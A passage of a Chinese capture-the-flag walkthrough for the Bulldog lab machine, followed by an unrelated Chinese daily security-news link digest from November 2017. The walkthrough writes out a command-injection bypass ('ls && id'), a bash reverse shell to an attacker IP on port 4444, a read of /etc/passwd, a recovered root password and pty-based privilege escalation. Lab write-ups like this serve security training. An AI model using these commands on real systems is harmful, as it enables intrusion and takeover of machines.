webshell页面只能执行白名单的命令，尝试用；或者&&连接，执行多个命令：
ls是白名单命令，id是禁止命令，通过`ls && id`可成功执行id命令，达到绕过白名单限制执行命令。
* 步骤5：反弹shell：
(1) Windows攻击机开启nc监听：`nc -lvnp 4444`
(2) 直接执行`ls && bash -i >& /dev/tcp/172.20.10.5/4444 0>&1`失败，server报错500。
(3) 尝试多次bash反弹，最后使用echo命令先输出命令，再输入到bash，反弹shell成功：
`echo "bash -i >& /dev/tcp/172.20.10.5/4444 0>&1" | bash`
## 提升权限
* 步骤6：查看有哪些系统用户 `cat /etc/passwd`, 发现需要关注的用户有：bulldogadmin、django
* 步骤7：查找每个用户的文件（不显示错误） `find / -user bulldogadmin 2>/dev/null`
(1) 发现值得关注的文件有：一个是note，一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
(2) 打开note文本文件：发现提示webserver有时需要root权限访问。
(3) 打开customPermissionApp，看上去是可执行文件，使用strings打印其中的可打印字符：
`strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp`
note文件中提示执行该文件，可以获得root权限，但通过ls查看文件权限只有读权限，并无法执行。
* 步骤8：拼接root密码提权
(1) 观察文件中只有这些字符，疑似可能与密码相关，英文单词包括：SUPER、
ulitimate、PASSWORD、youCANTget，这些都与最高权限账号相关，推测这是一个解谜题目：
最直接的组合是去掉H，变成一句通顺的英文句子：SUPERultimatePASSWORDyouCANTget
(2) su命令无法执行，提示：must be run from a terminal，上次Vulhub已经遇到过该问题，通过一句Python解决：
`python -c 'import pty;pty.spawn("/bin/bash")'`
(3) 执行`sudo su -`，获得root权限，获取flag：
(4) 如果不解决无法su，还记得有23端口的ssh，也可以使用Xshell通过ssh登录，登录成功后执行sudo su – 提权并获得flag
用户名：django
密码：SUPERultimatePASSWORDyouCANTget 不用猜测的密码，改了django再登录也可以。
sudo su提权，密码是：SUPERultimatePASSWORDyouCANTget
## 靶场思路回顾
1.目录暴破出dev和admin页面：
(1) 可暴破出dev页面，该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令执行页面。
(2) 可暴破出admin后台页面，登录密码通过dev页面破解sha1得到。
2.绕过白名单限制，执行命令和反弹shell：绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后成功，没有尝试py shell。
3.搜索系统中id为1000以后的用户的文件，可以找到隐藏文件。
4.猜解root密码很艰难。
## 总结
* 难点和踩到的坑：
(1)
发现和破解sha1：在dev页面查看源码，发现多个用户hash后，即使不知道是40位的sha1，也可以直接去cmd5破解，系统会自动识别，可以破解出2个账号。如果用hashcat暴破sha1，需要强大的字段和较长的时间。
(2) 反弹shell应该有多种方法：第一个想到的是bash
shell，也想到了python反弹shell。只尝试了通过bash反弹shell，如果bash反弹不成功，可尝试往系统echo文件，赋予+x执行权限，执行脚本反弹。也可尝试Python是否能够反弹shell。
(3) 发现隐藏的包含root密码的文件，通过搜索id为1000之后的用户文件，查看历史命令，或者查看目录，也可能找到。
(4) 猜解root密码：这个是最难的，找到这个文件并不难，但是通过strings查看文件内容，并且拼接字符串为root密码，感觉难度很大。 | 社区文章 |
# 【知识】11月1日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： WordPress全版本WPDB SQL注入预警及简要分析、iOS 11.1 release
notes（其中修复了WPA2的KRACK漏洞）、通过API调用分析恶意软件、自动检测浏览网站的漏洞的Chrome插件、使用弱nfs权限进行Linux提权、pestudio
8.69发布、从GlobeImposter勒索软件样本中提取配置信息的脚本、用于生成带DDE payload的Office文档的脚本**
**资讯类：** ****
********
WordPress全版本WPDB SQL注入预警及简要分析
<http://bobao.360.cn/news/detail/4358.html>
<https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html>
苹果在iOS 11.1中修复了WPA2的KRACK漏洞
<https://threatpost.com/apple-patches-krack-vulnerability-in-ios-11-1/128707/>
很多厂商的设备依然受KRACK攻击影响
[http://securityaffairs.co/wordpress/64937/hacking/krack-attack-industrial-products.html](http://securityaffairs.co/wordpress/64937/hacking/krack-attack-industrial-products.html)
iOS 11.1 release notes
<https://support.apple.com/en-gb/HT208222>
英国小伙因售卖恶意软件用于向Google以及Skype等服务器发起DDoS攻击被捕
<https://www.bleepingcomputer.com/news/security/uk-man-arrested-for-selling-malware-ddos-attacks-on-google-and-skype-servers/>
朝鲜黑客从大宇集团偷走潜艇秘密
[https://www.wsj.com/articles/north-korean-hackers-stole-submarine-secrets-from-daewoo-lawmaker-says-1509447847](https://www.wsj.com/articles/north-korean-hackers-stole-submarine-secrets-from-daewoo-lawmaker-says-1509447847)
**技术类：**
通过API调用分析恶意软件
<https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/>
DiscordiaMiner and fights on forums.
<https://securelist.com/tales-from-the-blockchain/82971/>
如何只修改两个字节就可绕过11个antivirus
<https://twitter.com/zerosum0x0/status/925486850399019009>
pestudio 8.69发布
[https://winitor.com/binaries.html](https://winitor.com/binaries.html)
从GlobeImposter勒索软件样本中提取配置信息的脚本
[https://gist.github.com/Demonslay335/8faaa57891318aa438db4bff10b347df](https://gist.github.com/Demonslay335/8faaa57891318aa438db4bff10b347df)
用于生成带DDE payload的Office文档的脚本
[https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads)
自动检测浏览网站的漏洞的Chrome插件
<https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd>
Hashcat v4.0 – World's Fastest and Most Advanced Password Recovery Utility
<http://www.kitploit.com/2017/10/hashcat-v40-worlds-fastest-and-most.html>
使用弱nfs权限进行Linux提权
<https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/> | 社区文章 |
Subsets and Splits